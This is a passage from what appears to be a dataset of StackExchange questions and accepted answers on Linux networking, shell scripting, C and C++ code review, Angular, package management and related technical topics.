START    ifdown ${LAN}:1    ifdown ${LAN}:0    ifdown ${LAN}    echo TEARDOWN INTERFACES END}function delayed_reset() {    for i in `seq 15 -1 0`; do        sleep 1        echo ${i}    done    sync    reboot    exit}#test_network#if [ $? -ne 0 ] ; then    teardown_firewall    teardown_bridge    teardown_interfaces    configure_interfaces    configure_bridge    configure_firewall    #delayed_reset#fiAfter running the script, if I run ifconfig, it looks like the virtual networks exist:eth1      Link encap:Ethernet  HWaddr 00:13:3b:62:11:f6            inet addr:0.0.0.1  Bcast:255.255.255.255  Mask:0.0.0.0          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1          RX packets:30712 errors:0 dropped:0 overruns:0 frame:0          TX packets:19110 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:5261152 (5.0 MiB)  TX bytes:5355909 (5.1 MiB)eth1:0    Link encap:Ethernet  HWaddr 00:13:3b:62:11:f6            inet addr:0.0.0.2  Bcast:255.255.255.255  Mask:0.0.0.0          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1eth1:1    Link encap:Ethernet  HWaddr 00:13:3b:62:11:f6            inet addr:0.0.0.3  Bcast:255.255.255.255  Mask:0.0.0.0          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1But the entire eth1 appears to be in br0:root@raspberrypi:/home/pi# brctl showbridge name     bridge id               STP enabled     interfacesbr0             8000.00133b6211f6       no              eth1                                                        wlan0And this seems to confirm it:root@raspberrypi:/home/pi# brctl addbr br1root@raspberrypi:/home/pi# brctl addif br1 eth1:1device eth1:1 is already a member of a bridge; can't enslave it to bridge br1.Note:I did look at Create and bridge virtual network interfaces in Linux but it seems to be obsolete, as it refers to iproute2."  , "title": "Linux: using a virtual network inside a bridge"  , "tags": "linux;networking;bridge"  , "accepted_answer": "You can't create br0 and br1 bridges on one interface eth1, because eth1:0 and eth1:1 is the same interface eth1 with two different ip addresses.You can create vlan If your wired network and switch allow it. If you create two vlans eth1.10 and eth1.20 you will have two different interfaces, witch can be used for bridges br0 and br1."  } 
{  "id": "_cs.47980"  , "question": "I was reading Wikipedia about the von Neumann bottleneck.Surely there is some simple answer to this. Why can we not read and write to the same address at the same time? We can if the addresses are different."  , "title": "Why can we not read and write to the same address at the same time?"  , "tags": "computer architecture"  } 
{  "id": "_unix.203386"  , "question": "I have a question after reading about extended glob.After using shopt -s extglob,What is the difference in the following??(list): Matches zero or one occurrence of the given patterns.*(list): Matches zero or more occurrences of the given patterns.+(list): Matches one or more occurrences of the given patterns.@(list): Matches one of the given patterns.Yes, I have read the above description that accompanies them, but for practical purpose, I can't see situations where people would prefer ?(list) over *(list). That is, I don't see any difference.I've tried the following:$ ls> test1.in test2.in test1.out test2.out`$ echo *(*.in)> test1.in test2.in$ echo ?(*.in)> test1.in test2.inI'd expect $ echo ?(*.in) to output test1.in only, from the description, but it does not appear to be the case. Thus, could anyone give an example where it makes a difference regarding the type of extended glob used?Source: http://mywiki.wooledge.org/BashGuide/Patterns#Extended_Globs"  , "title": "Extended Glob: What is the difference in syntax between ?(list), *(list), +(list) and @(list)"  , "tags": "bash;wildcards"  , "accepted_answer": "$ shopt -s extglob$ lsabbc  abc  ac$ echo a*(b)cabbc abc ac$ echo a+(b)cabbc abc$ echo a?(b)cabc ac$ echo a@(b)cabc"  } 
{  "id": "_vi.9218"  , "question": "For me it's very annoying to have two functions to close window (:quit) or quit vim. I just want one command to close window and another command to quit vim. For example :q command to close window and :e to quit/exit vim. How to create these shortcuts in vim configuration?"  , "title": "How to stop quitting vim but close windows?"  , "tags": "key bindings"  , "accepted_answer": "Personally I very much dislike having to type out the entire word close - its smallest abbreviation is still :clo.To solve this, I created the following command in my vimrc:command -nargs=0 C :closeThis means I have a nice, quick command :C which is very similar to :q but it only closes the current window, rather than quits. I use it all the time."  } 
{  "id": "_unix.157293"  , "question": "Predictive Self Healing is a feature of the OS to predict, detect a fault with one of its components and automatically repair it. MINIX, Solaris OS and Linux on POWER all have this. But is it available in modern Linux distributions on x86 platform? Or will be?"  , "title": "Does Linux provide Predictive Self-Healing on x86?"  , "tags": "linux;x86"  } 
{  "id": "_cstheory.32549"  , "question": "Carathodory's theorem says that if a point $x$ of $R^d$ lies in the convex hull of a point set $P$, then there is a subset $P \\subseteq P$ consisting of $d + 1$ or fewer points such that $x$ can be expressed as a convex combination of $P$.A recent result by Barman (see paper) shows an approximate version of the above theorem. More precisely,  given a set of points $P$ in the $p$-unit ball with norm $p \\in [2,\\infty)$, then for every point $x$ in the convex hull of $P$ there exists an $\\epsilon$-close point $x'$ (under the $p$-norm distance) that can be expressed as a convex combination of $O\\left(\\frac{p}{\\epsilon^2} \\right)$ many points of P.Now, my question is that does the above result implies (or have some connection with) some kind of dimensionality reduction for the points in the convex hull of $P$. It seems intuitive to me (however I don't have a formal proof of it) - as for any  point $x$ inside the $P$ there is a point (say) $x'$ in a close neighborhood of $x$ which can be written as convex combination of constant many points of $P$, which in some sense dimensionality reduction of $x'$. Pls let me know if I am able put my question clearly.Thanks."  , "title": "Does Approx Carathodory's theorem implies dimensionality reduction"  , "tags": "machine learning;computational geometry"  , "accepted_answer": "The approximate Caratheodory theorem goes back to the 60s, and probably way earlier than that (it follows for example from the mistake bound of the preceptron algorithm analysis). As for the dimensionality reduction, the answer is no - the supporting subsets are different subsets, and their number is too large. In particular, the number of possible subsets is $n^{O(1/\\epsilon^2)}$ - but there is some connection... Specifically, let $P$ be a set of $n$ points in high dimenionsional Euclidean space of diameter $1$. Let $Q$ be an $\\epsilon$-net in the convex-hull of $P$. That is, any pair of points of $Q$ is in distance at least $\\epsilon$ from each other, and every point of $CH(P)$ is in distance at most $\\epsilon$ from some point of $Q$. Now, by the approximate Caratheodory theorem, we know that $|Q| = n^{O(1/\\epsilon^2)}$. Now, imagine that you do some experiment, and with probability half the experiment succeeds for half the points of $Q$ (or, more formally, half the pairs of $Q \\times Q$ -- since we look on vectors formed by differences of points of $Q$). How many times do you have to repeat the experiment till all the points are served? Well, roughly $\\log_2 |Q| = O(\\epsilon^{-2} \\log n)$, which is, surprise surprise, the target dimension in the JL lemma. This is of course, does not imply the JL lemma - it is somewhat of a coincidence - a wrong calculation that gives the right bounds...There is a useful lesson here however - a set of $n$ points in high dimensions, induces roughly $n^{O(1/\\epsilon^2)}$ points that are $\\epsilon$-distinct, independent of the ambient dimension."  } 
{  "id": "_unix.154072"  , "question": "In a previous question, I asked about how to write a PKGBUILD to install a binary .deb package. The solution was to extract the contents of the .deb and copy the data to the archlinux package fakeroot, ${pkgdir}/.That means if the .deb contains a data.tar.gz with the binaries stored in a usr/lib directory, the process to install this package is (In the PKGBUILD):package(){    cd $srcdir    tar -xvzf data.tar.gz    install -dm755 ${pkgdir}/usr/lib    cp -r -f ${srcdir}/usr/lib ${pkgdir}/}However if I do that the package is installed successfully, but I cannot open the binaries (Written in python). If I execute a binary installed in that way, returns this error:Cannot open self [path to executable] or file [path to executable].pkgOn the other hand, if I write the PKGBUILD in the wrong way, that is, copying the binaries directly to the system root during package():cp -r -f ${srcdir}/usr/lib /The programs work perfectly.Is there something I'm missing?Here is the package."  , "title": "Archlinux proper PKGBUILD: Python executable error"  , "tags": "arch linux;python;makepkg"  } 
{  "id": "_cs.68300"  , "question": "I have the following question. Is the SAT solvers are deterministic?I mean, for example, about miniSAT and DPLL algorithm. Are they completely deterministic?If these algorithms will return unSAT it means that certainly the solution does not exist?"  , "title": "Deterministic SAT solver"  , "tags": "algorithms;logic;satisfiability;sat solvers"  } 
{  "id": "_unix.204642"  , "question": "I can't boot my Windows XP OS on a dual boot with Windows XP and Ubuntu 14.04.2. I already tried the command update-grub without improving.I can see the menu entry in Grub but when I choose Windows XP to boot, the grub boot menu list pops out again without starting Windows. I can boot Ubuntu regularly.Here is the output from Boot info:Pastebin - Boot Info Script 0.61"  , "title": "Can't boot Windows XP from Grub2 in Ubuntu 14.04.2"  , "tags": "ubuntu;windows;dual boot;grub"  } 
{  "id": "_webmaster.27036"  , "question": "we have an app running on heroku. the dns setup is like this:A record for domain.com -> heroku front end ip addressesCNAME for www.domain.com -> specific host name for our app provided by herokuwe also have an SSL cert for www.domain.com.the issue is that if someone goes to https://domain.com/secure_stuff, they will get heroku's SSL cert, instead of ours, causing lots of fear. We can do things on our end to make sure that all of our URLs point to https://www.domain.com, but it still won't solve this specific issue. is there a way to configure the DNS record to redirect all root domain traffic to the www subdomain?"  , "title": "DNS configuration to force root domain to www"  , "tags": "dns;https;heroku"  } 
{  "id": "_unix.88109"  , "question": "I am happily using an old PC as a router. Two network cards, Debian wheezy, NAT, ... everything just fine. My home network uses static IPs, which I am also happy with.However, every box on my home network needs my provider's name servers in its own /etc/resolv.conf file for the internet to work. I thought this would be the way to go, but I notice that when using a notebook on a commercial router, the /etc/resolv.conf file gets overwritten once I dhclient to the router, and just the router's own IP address is listed, no external name servers.I figure that (1) the only way for this to work is that the router has some way of accepting the clients' name resolving requests and passes them on to the provider's name servers and (2) this is actually a quite handy solution because it would allow me to just put my router's IP into any client's /etc/resolv.conf and not worry about telling each client my provider's name servers.Are these assumptions (1, 2) correct?Is this a feature buried in DHCP  requiring my router to be a DHCP server, or would it work with static IPs, too?What do I need to configure on my router in order to enable forwarding/handling my clients' name server requests?"  , "title": "What does my router need to act as a name server for my home network?"  , "tags": "dns;router"  } 
{  "id": "_unix.103641"  , "question": "We have a small linux cluster (12 machines). Before we populate our database (then create a report from database contents) we would like to spell check a few files. The problem I have is some fields in the text file will contain lists of drugs and other medical terms and other acronyms that the spell checker will automatically think is a spelling error. Eg the lineDRUGS:=ASPIRIN;BISOPROLOL;RAMIPRIL;GTN;TAMSULOSIN;PIZOTIFEN;CO-CODAMOLWhen I issue the commandaspell --lang en_GB check filenameIt doesn't recognise most of these drugs?Is it possible to create a wordlist (i.e a text file containing a list of accepted drugs and acronyms) that aspell can use so that:(a) it ignores incorrectly spelled drugs(b) If a drug is mis-spelled it suggests the correctly spelled version"  , "title": "Linux adding wordlist for spell checking"  , "tags": "aspell"  , "accepted_answer": "Yes, you can add a personal wordlist with the --personal=FILE or -p parameter:aspell -p /path/to/my/wordlist check /path/to/the/file/to/checkYour personal wordlist should have one word per line.If you do not want to type the option each time, you can add it to your ~/.aspell.conf or /etc/aspell.conf."  } 
{  "id": "_unix.6252"  , "question": "Debian's apt-get update fetches and updates the package index. Because I'm used to this way of doing things, I was surprised  to find that yum update does all that and upgrades the system. This made me curious of how to update the package index without installing anything."  , "title": "What is yum equivalent of 'apt-get update'?"  , "tags": "package management;yum;apt"  , "accepted_answer": "The check-update command will refresh the package index and check for available updates:yum check-update"  } 
{  "id": "_scicomp.4761"  , "question": "What is a good way to check if the any numerical error is occured in conjugate gradient algorithm. Additionally why is it not suggested to check error by checking A-orthogonality of search direction or checking orthogonality of residuals?Note: here by error I mean error from floating point unit of CPU because of incorrect computation (which can be due to corrupt data in cache etc.) not due to rounding error. In some cases the errors can be due incorrect computation of matrix vector product (in cases where matrix A is not explicitly available)."  , "title": "Checking for error in conjugate gradient algorithm"  , "tags": "linear algebra;linear solver;iterative method;conjugate gradient"  } 
{  "id": "_codereview.165287"  , "question": "I was writing simple String class implementation (and it is quite ordinary), but I had found out that constructors, destructors and operator = are the most sensitive areas.So I wonder, if my implementation good in the sense of C++11/14 standard and are they efficient enough?String::String(){    m_characters = new char[0];    m_size = 0;}String::String( const int size ){    m_size = size;    m_characters = new char[size];}String::String( const char* str ){    m_size = 0;    int i = 0;    while ( str[i] )    {        m_size++;        i++;    }    m_characters = new char[m_size];    for (int i = 0; i < m_size; i++)        m_characters[i] = str[i];}String::String( const String& string ){    m_size = string.m_size;    m_characters = new char[m_size];    for ( int i = 0; i < m_size; i++ )         m_characters[i] = string.m_characters[i];}String::~String(){    delete [] m_characters;} String& String::operator=( const String& string ){    if ( this != &string )    {        m_size = string.m_size;        m_characters = new char[m_size];        for (int i = 0; i < m_size; i++ )            m_characters[i] = string.m_characters[i];    }    return *this;}I omit the header file because I think that class interface is quite clear. If required, I can attach it.UPD. SO does not allow me to put full code here, so I've put it on  gist at github."  , "title": "String class in C++"  , "tags": "c++;strings;c++11;reinventing the wheel"  } 
{  "id": "_webapps.61060"  , "question": "The FAQ says:How many subgroups can I be a member of at one time? 50.How is it possible to get 51 groups?https://www.linkedin.com/anet?dispSortAnets=&trk=my_groups-h_gn-settings :"  , "title": "How is it possible to get 51 groups in LinkedIn?"  , "tags": "linkedin;linkedin groups"  , "accepted_answer": "It is actually possible to join up to 100 groups on LinkedIn, according to this post from someone who has joined 55 groups.  She explains in a video in her post that you can join 50 parent groups and 50 subgroups.  I checked a few of the groups in your screenshot, and I found that the Disruptive I.T. group is actually a subgroup of the Re-invent I.T. group.  You are a member of both groups, and since Disruptive I.T. is a subgroup, that is how you are a member of more than 50 groups."  } 
{  "id": "_codereview.117209"  , "question": "This function is meant to be used for reading files. It returns all bytes asked unless EOF is reached. It handles interrupts and returns -1 on errors.//safe function to read all bytes asked, only returns less bytes if EOFstatic ssize_t read_all(int fdes, void *buffer, size_t size){  ssize_t ret;  ssize_t ret2;  ret = read(fdes, buffer, size);  if(ret == -1){    if(errno == EINTR)      return read_all(fdes, buffer, size);    return -1;  }  if(ret && ret != size){    ret2 = read_all(fdes, buffer + ret, size - ret);    if(ret2 == -1)      return -1;    return ret + ret2;  }  return ret;}"  , "title": "Read function that properly handles interrupts"  , "tags": "c"  , "accepted_answer": "My main problem is the recursion. I don't think its major but I personally would use a loop. Given the current layout I can't quite convince myself that it works in all situations (especially since there are two alternative recursive calls).Declare variables close to the usage point (rather than everything at the top).    ssize_t ret;    ssize_t ret2;C has been updated so that you can declare variables at any point in a function. This helps in readability as you don't need to scroll far to find the variable declaration. Also if you declare in the most restrictive scope possible it helps to prevent data leaking (out of a scope).see: https://stackoverflow.com/a/8474123/14065Try this:static ssize_t read_all(int fdes, void* buffer, ssize_t size){    ssize_t  totalRead = 0;    while(totalRead != size)    {        ssize_t thisRead = read(fdes, buffer + totalRead, size - totalRead);        if ((thisRead == -1) && (errno == EINTR)) {            continue;        }        // Note: There are other errors that may not be erros.        // EAGAIN or EWOULDBLOCK spring to mind but may need special handling        // as immediately calling read may just cause a busy wait you may        // want to suspend the thread by calling sleep..        if (thisRead == -1) {            return -1;        }        if (thisRead == 0) {            break;        }        totalRead += thisRead;    }    return totalRead;}"  } 
{  "id": "_softwareengineering.99774"  , "question": "I work as a rental agent / manager for a car rental company that is running on a rental system that was written in 1972. I decided that maybe it was time for an update. For a bit of background, here is a short example of the madness that we have to deal with from this program daily:A rental agent must remember that printing on one screen uses MXC in the ACT field (everything is based on short codes), which perplexingly stands for MaXimum display on a Contract, while on another it requires PR (for PRint) in the ACTION field, but several screens use a Y in the PT (for PrinT) field, yet another screen uses Y in the PRT (for PRinT) field, yet another screen requires the user to hit enter (but not the enter next to the letters, as that's a new line character, it must be the enter on the number pad) and then F8, a different but related screen requires simply F8, some screens have a field labeled PRT, which should be for PRinT, but the field actually does nothing and printing is done automatically after going through several prompts, and still more screens have a field labeled PRINT Y/N, which insanely defaults to Y for operations in which another location is already delivering paperwork, and to N for operations in which another dealer will need paperwork.I decided that I could do a better job than this, so I set out to contact the person in the company that would make the decision to update this. I eventually get through to the VP of IT, who is in charge of this program. I get a bit of information out of him, and learn that my car rental company has its rental program written in IBM mainframe assembler with a little bit of COBOL mixed in. He says that there are no positions open right now, but that I should e-mail him my resume anyway (in case something opens up).This leads me to my questions.The first is technical. With the idea of improving maintainability in the future, my thought is to re-write it in a higher-level language than assembly language. My area of experience is in C++, so that is the obvious choice for me. The company is in dire need of an easier way to update the program, as I recently read an article where the man I spoke with is quoted as saying the team worked hard, and they are proud to announce that the program now has support for 5-digit location codes (instead of 4) and 8 digit car numbers (instead of 7). My philosophy on updates, even in situations this dire, is in line with Joel's: http://www.joelonsoftware.com/articles/fog0000000069.html in short, re-writes should be incremental, rather than throwing out everything there was before and starting fresh.Is there an easy way to integrate IBM assembly with C++, and if so, how should I do it? I am vaguely aware of the asm keyword, but I don't know if it's best to use that or do something else. Is such a plan ill-advised? I do most of my work on Linux using g++ and GNU make, so answers specific to that are welcomed, but definitely not required (since I have no idea what sort of build system they have no, but I suspect almost none).The second question is more political. How should I go about persuading this company that they need to make the switch? The theoretical cost savings are huge (based on my estimates, the company is wasting an extra million or so dollars per year, just on increased training costs to learn how to interact with the program), but my proposed changes would probably put all of the current programmers out of work, should they be enacted, so there is great structural resistance to change.edit: I should explain why me modifying what the company already has seems like the best solution to me. I am still open to other suggestions, because this is a monster of a program, however. I've never had a programming job before, so please correct me on any incorrect analysis I might give.First off, there is the off-the-shelf solution.From my talks with a few mid-level managers about this sort of thing, one of the main concerns with switching to a new system is the large number of loyal employees who have been with the company for decades and are comfortable with the system by now. If I have the ability to modify what we have, I could maintain the current interface in a sort of 'compatibility mode'. Users already have to log in to use the current system, so I could add the ability to activate a setting when users log in for the 'first' time (after I make this change), where they are given the option to use either the 'classic' interface or the 'new' interface. There is no way I'll find an off-the-shelf solution that allows that, and I think that fears of senior employees getting confused by changing technology would be a major reason for upper management to say no.My company also owns the software we use; we do not license it. This means that the management I am currently talking to are the same people who could actually authorize me to make a change. With a third-party solution, I would have to get approval from my company in addition to securing whatever rights would be necessary from the company that developed the product we use, which adds an additional hurdle. This would also require convincing the company to give up on their product and take some other product, which seems like a greater hurdle than attempting to update what we have, but I could very well be wrong on this issue.Finally, looking into the future, I don't just want to improve the user interface and fix a few bugs. After I update those 'urgent' issues, I was hoping to update fundamental way the company runs as related to technology. After spending 1-2 years on these sorts of issues, my plan was to go back to management and propose more dramatic changes. There are many ways the company runs that could be fundamentally improved by technology that they simply are not using right now. For instance, each region pretty much operates the same way. The local major airport is the central hub to distribute cars. They are primarily sent on an as-needed basis. However, the airport is used as the home base for all operations. They'll send two people in one car to my location to pick up one car from us that we don't need, then return to the airport with the car they came in, plus what they are taking back (we are 32 miles from the airport). Then they will come to the location 5 miles away from us in two cars to drop one of them off, then return in their other car to the airport. They do this even if the car we sent back is the same kind of car they need near us. I've been with the company for about two years now, and I've only seem them deviate from this in the most extreme emergencies of car shortages (so about three times ever). I would replace the 4 people working in every region with an automated scheduling system that determines what cars go where and try and find the path that requires the least amount of time + miles + drivers to deliver all cars where they need to be, as an example of the higher level fixes I hope to some day add.However, before I would feel comfortable proposing all of this, I feel it would be helpful to get a toehold in the company and the code base by doing the smaller tasks, like updating the interface. Solutions like outsourcing or otherwise would remove this possibility."  , "title": "Rewriting IBM assembler + COBOL in C++"  , "tags": "c++;language agnostic;assembly;cobol"  , "accepted_answer": "Confining myself to the technical front...I suggest you begin by determining the environment in which the application runs.  Mainframe could mean a couple of different things, given the application's age it could be CICS or IMS.  It's also possible the original authors wrote their own started task.Depending on where the application runs, it will likely make use of APIs for that environment, CICS now uses an interface markedly different from its early days, I cannot speak for IMS.  If the application is its own started task, then it may very well have its own internal API - I spend some seven years supporting such a beast, written in the same era.Something else to consider, given the age of the application, is that the Assembler with which you wish to integrate C++ predates the existence of Language Environment (LE).  As such, unless the Assembler has been updated to be LE-conforming, you will have some difficulty as C and C++ are LE-compliant and require their callers and callees to also conform.Another point for consideration, if this application is running on a moribund mainframe, you may be looking at trying to integrate with an application that runs on unsupported hardware and software.  This would be not unlike trying to integrate with an application written in 1989 that runs on DOS 4.01 on its original hardware."  } 
{  "id": "_unix.367774"  , "question": "I am really new to this whole shell programming, so I really don't understand much. I am supposed to write a shell script that will echo usernames of users whose primary group is equal to the group whose id is the argument of command line. "  , "title": "echo users with a specific gid"  , "tags": "shell script;users;group"  , "accepted_answer": "Since you're doing the lookup by GID, not by group name, and you're only interested in the primary GID for each user, this is trivially easy with Awk.The format of /etc/passwd is described in man 5 passwd.  To quote the man page:   There is one entry per line, and each line has the format:          account:password:UID:GID:GECOS:directory:shellSo you want to print the first field for each line where the fourth field is what is passed in to your script.  Where fields are delimited by colons.Personally I wouldn't bother with a script for this; I would use a shell function.  See:In Bash, when to alias, when to script, and when to write a function?So all you need is:An understanding of the -F option for AwkA basic understanding of Awk's syntax, which is condition {action}An understanding of how to reference fields when using Awk, andIt will help if you have an understanding of how to pass shell variables to Awk; look into the -v option of Awk.Check the man page for Awk to get these points.I won't do your homework for youthe point is to learn to code, not learn to copy and paste.  But if you get stuck on this please comment on this question.  I can add a bit more detail if needed.  (And in a week or so I can update to include a full solution.)Side note: in the real world, as you can see from the other answers, there is a lot more complexity associated with looking up users.  Lots of different ways users can be stored, and accounting for those complexities can be...complex.But your question appears to be an assignment tailor-made to be easily accomplished with Awk, while also being a realistic application that would be useful in the real world."  } 
{  "id": "_scicomp.26831"  , "question": "There is a paper called Density-equalizing map projections: Diffusion-based algorithm and applications by Michael T. Gastner and M. E. J. Newman, which explains their algorithm (which is based in diffusion equations) for generating value-by-area cartograms.While it explains the theoretical side of the mathematics involved with their algorithm, it doesn't explain how they actually implemented it. I tried to piece it together by looking at the source code from cart, but I don't have the programming knowledge (it's written in c, which I don't know) required to understand it.If anyone has at least a decent understanding of it and can explain the steps needed to create a cartogram using their algorithm, that would be greatly appreciated. Otherwise, if you have other helpful resources on the topic, those would be good too."  , "title": "How is the Gastner-Newman equation implemented to create value-by-area cartograms?"  , "tags": "linear algebra;fluid dynamics;nonlinear programming;diffusion;differential equations"  } 
{  "id": "_codereview.138111"  , "question": "I'm writing a todo app as a test. Having never done Ionic nor Angular apps before, I am not sure if I am following best practices here.What I have done is try to keep my controllers thin by placing all persistant logic in the model (service?). And instead of hard coding links in the view, I am calling a function in the controller.Are there any other things I should or shouldn't be doing?// controllersangular.module('starter.controllers', []).controller('TodosCtrl', function($scope, Todos, $state) {  $scope.todos = Todos.all();  $scope.data = {    showDelete: false  };  $scope.add = function() {    $state.go('tab.add');  };  $scope.remove = function(todo) {    Todos.remove(todo);  };}).controller('TodoDetailCtrl', function($scope, $stateParams, Todos, $state) {  $scope.todo = Todos.get($stateParams.todoId);  $scope.remove = function(todo) {    Todos.remove(todo);    $state.go('tab.todos');  };}).controller('TodoAddCtrl', function ($scope, $state, Todos) {  $scope.content = {};  $scope.add = function() {    var todo = $scope.content.name;    if(todo) {      $scope.content.name = '';      Todos.add({        id: Todos.all().length + 1,        name: todo      });      $state.go('tab.todos');    }  };}).controller('AccountCtrl', function($scope) {  // unused for now  $scope.settings = {    enableServer: true  };})// servicesangular.module('starter.services', ['ngStorage']).factory ('StorageService', function ($localStorage) {  $localStorage = $localStorage.$default({    todos: []  });  var _getAll = function () {    return $localStorage.todos;  };  var _add = function (todo) {    $localStorage.todos.push(todo);  }  var _remove = function (todo) {    $localStorage.todos.splice($localStorage.todos.indexOf(todo), 1);  }  return {    getAll: _getAll,    add: _add,    remove: _remove  };}).factory('Todos', function(StorageService) {  // Might use a resource here that returns a JSON array  var todos = StorageService.getAll();  return {    all: function() {      return todos;    },    remove: function(todo) {      StorageService.remove(todo);    },    add: function(todo) {      StorageService.add(todo);    },    get: function(todoId) {      for (var i = 0; i < todos.length; i++) {        if (todos[i].id === parseInt(todoId)) {          return todos[i];        }      }      return null;    }  };})"  , "title": "Simple Todo app"  , "tags": "javascript;angular.js;to do list"  , "accepted_answer": "For Angular Best Practices (or very good practice) take a look at John Papa's Style Guide:https://github.com/johnpapa/angular-styleguide/blob/master/a1/README.mdIt is well written, easy to understand, includes examples and really helps in development!Now to your code.FilesIn an actual application, you would put every single module, controller, service, and directive into a seperate file and name it accordingly.Basically, everytime you write angular.module, angular.controller, [...], it's a new file! This might seem ridiculously at first, but in a big project, it really helps to find stuff. A build chain, e.g. Gulp, will later put everything back together and even optimize it.Controller vs ServicesYou want the controller to have anything regarding the view. It includes callbacks (for ng-clicks e.g.) and maybe some logic that is very specific to the view. In the end, it is just a controller and just controlls what should happen and what the view should be able to use.Use a service/factory for all the real application logic. Everything that might be reusable gets a own service. Get data from the server? Service. Calculate something based on the user input? If it might be used somewhere else too, create a service! (GreatService.calculate(userInput)) This way you not only can use it again, but it also really helps you to test your logic in unit tests.In your specific Todo Example:I think you might have used too many controllers here. I dont's see your template, but this would be probably just fine with one controller and your service. Unless this has multiply states?Take a look at John Papa's style guide, it's worth !By the way, using $scope is not recommended. It does work, but is still a thing from the beginnings of Angular. Check this out: https://johnpapa.net/do-you-like-your-angular-controllers-with-or-without-sugar/"  } 
{  "id": "_codereview.110776"  , "question": "I'm writing a program to help with remembering complex bash commands. On invoking the program, it asks for a description of the desired operation, e.g., increase volume or find orphaned packages, and displays the commands matching the input ordered by closest match.Matching is determined by splitting the command text into a string vector, then the description, and combining these with a list of additional keywords to compare with the input via std::set_intersection. This is currently case sensitive, which I plan to change.This is my first C++ program so I've probably made plenty of mistakes. A couple things I'm still unclear on: when to pass arguments by reference, when to use const and static, and when to use pointers.#include <algorithm>#include <iostream>#include <map>#include <sstream>#include <string>#include <vector>struct Command {  std::string text;  std::string description;  std::vector<std::string> addl_keywords;};struct FoundCommand {  std::vector<std::string>::size_type keywords_found;  Command command;  FoundCommand(std::vector<std::string>::size_type keywords_found, Command command)      : keywords_found {keywords_found}, command {command} {}  bool operator < (FoundCommand other) {    return keywords_found > other.keywords_found;  }  bool operator > (FoundCommand other) {    return keywords_found < other.keywords_found;  }};// TODO: make case insensitivestatic const Command commands[] {  {amixer -Mq set Master 1%-, decrease volume, {lower}},  {amixer -Mq set Master 1%+, increase volume, {raise}},  {makepkg -sri, build and install a package using a PKGBUILD file, {pkgbuild}},  {makepkg -efi, rebuild and reinstall a package using a PKGBUILD file,    {build, install, pkgbuild}},  {pacman -Qdt, list orphaned packages, {find, orphan}},  {pacman -Qe, list explicitly installed packages, {find, explicit}},  {pacman -Ql [package], list files owned by package, {find, own}},  {pacman -Qo [file], list packages that own file, {find, owned}}};std::vector<std::string> Split(const std::string& s, char delim = ' ') {  std::stringstream ss {s};  std::string part;  std::vector<std::string> parts;  while (getline(ss, part, delim))    parts.push_back(part);  return parts;}std::vector<std::string> Union(std::vector<std::string> v1,                               std::vector<std::string> v2) {  std::vector<std::string> result;  result.reserve(v1.size() + v2.size());  result.insert(result.end(), v1.begin(), v1.end());  result.insert(result.end(), v2.begin(), v2.end());  return result;}std::vector<std::string> Union(std::vector<std::string> v1,                               std::vector<std::string> v2,                               std::vector<std::string> v3) {  return Union(Union(v1, v2), v3);}std::vector<std::string> Intersect(std::vector<std::string>& v1,                                   std::vector<std::string>& v2) {  std::sort(v1.begin(), v1.end());  std::sort(v2.begin(), v2.end());  std::vector<std::string> result;  std::set_intersection(v1.begin(), v1.end(),                        v2.begin(), v2.end(),                        std::back_inserter(result));  return result;}std::vector<FoundCommand> FindCommands(std::vector<std::string>& input_keywords) {  std::vector<FoundCommand> results;  for (Command command : commands) {    std::vector<std::string> cmd_keywords = Union(Split(command.text),                                                  Split(command.description),                                                  command.addl_keywords);    std::vector<std::string> found_keywords = Intersect(input_keywords, cmd_keywords);    if (!found_keywords.empty()) {      results.emplace_back(found_keywords.size(), command);    }  }  return results;}int main() {  std::cout << Using keywords, describe what you would like to do: ;  std::string input;  getline(std::cin, input);  std::vector<std::string> input_keywords = Split(input);  std::vector<FoundCommand> results = FindCommands(input_keywords);  std::sort(results.begin(), results.end());  for (FoundCommand result : results)    std::cout << result.command.description << :  << result.command.text << std::endl;  return 0;}"  , "title": "Bash command helper in C++"  , "tags": "c++;sorting;bash;search"  } 
{  "id": "_unix.371625"  , "question": "I understand that low-level NAND flash can effectively wear out and that an SD card controller (residing on the card itself) is responsible for managing the flash and exposing a comparatively simple interface to the host.Many have reported the case of a filesystem suddenly becoming read-only.How is a bad flash page detected at the SD card layer? How is this error passed to the filesystem? What is the mechanism by which the kernel detects this and makes the filesystem read-only?Is the error reported at the SD card layer specific? For example, ECC failed or the page could not be marked as bad? Or is it just: I can't read or write what was requested?We're having this issue with a root filesystem on an SD card. Sometimes the filesystem becomes read-only. Other times it doesn't but we observe corrupt files. Why weren't the corrupt files detected?"  , "title": "How does the kernel decide to make an SD card filesystem read-only?"  , "tags": "filesystems;ext4;sd card;flash memory"  } 
{  "id": "_unix.70509"  , "question": "I am trying to write a script that will replace spaces with - and make all letters lower case for all files in the current directory. for x in 'ls'    do        if [ ! -f $x ]; then            continue        fi        lc = `echo $x | tr '[A-Z]' '[a-z]'`        if [ $lc != $x ]; then            mv $x $lc        fi    donefind -name * * -type f | rename 's/ /-/g'I get the following output:    call: rename from to files...However the names are not changing, example: 252680610243-Analyzed Sample2 2Jul12.txtI changed the permissions with chmod 706, would this be causing the issue? What am I missing here?Here is the output of bash -x lower.sh:+ for x in ''\\''ls'\\'''+ '[' '!' -f ls ']'+ continue+ find -name '* *' -type f+ rename 's/ /-/g'call: rename from to files..."  , "title": "Script to remove spaces and lowercase in file names"  , "tags": "bash;find;text"  } 
{  "id": "_hardwarecs.2152"  , "question": "I have Asus RT-AC1200G+ router downstairs with my home media server connected with cable (Video streaming, NAS, VM streaming). On ground floor WiFi reception is very good (144MBit on 2,4 and over 350MBit on 5GHz).On second floor I have poor signal (unstable 60-80MBit on 2.4, very unstable 15MBit on 5GHz).What I want to have ground-floor quality signal on second floor. Router repositioning isn't an option - this is where internet cable is.Normally I would lay additional ethernet cable to upstairs and buy a good access point - but property owner strictly forbids doing it on my own and he demands ~250$ for it (+cable&AP price of course).House is pretty old, so PLC adaptor probably isn't a solution (however I haven't tested it yet).My question: is there a better solution than paying an owner to lay an ethernet cable for me and buy AP?"  , "title": "Gigabit WiFi on different floor"  , "tags": "wifi;wireless"  } 
